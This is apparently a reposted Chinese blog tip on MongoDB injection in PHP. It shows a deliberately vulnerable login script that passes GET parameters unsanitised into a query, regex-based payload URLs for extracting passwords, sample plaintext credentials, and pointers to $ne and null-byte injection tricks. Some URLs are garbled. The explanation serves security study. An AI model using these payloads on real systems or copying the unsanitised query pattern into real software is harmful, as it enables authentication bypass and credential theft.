<?php $con = new Mongo(); $db = $con->selectDB("demo")->selectCollection("admin"); var_dump($_GET['passwd']); $ds =$db->find(array("username"=>$_GET['username'],"password"=>$_GET['passwd'])); foreach($ds as $k=>$v){ var_dump($v); } ?> http://HdhCmsTest2cto测试数据 /mongo/go-1.php?username=heige&passwd[$regex]=^1 http://HdhCmsTest2cto测试数据 /mongo/go-1.php?username=heige&passwd[$regex]=^2 测试的 数据库 结构: > db.admin.find() { "_id" : ObjectId("4f562d110920d897e6765ae1"), "uid" : 1, "username" : "heige", "password" : "123456" } { "_id" : ObjectId("4f5b38ba0920d897e6765ae2"), "uid" : 2, "username" : "admin", "password" : "admin" } 这样的注射方式主要利用了 PHP 的特点,可以直接提交array 。。。 另外参考老外的2个tips: http://HdhCmsTestidontplaydarts测试数据/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/ 直接用$ne 这个类似于常见的万用密码 http://HdhCmsTestidontplaydarts测试数据/2011/02/mongodb-null-byte-injection-attacks/ null字节注射 作者 5up3rh3i'blog
查看更多关于mongo+php 注射的一个tips - 网站安全 - 自学php的详细内容...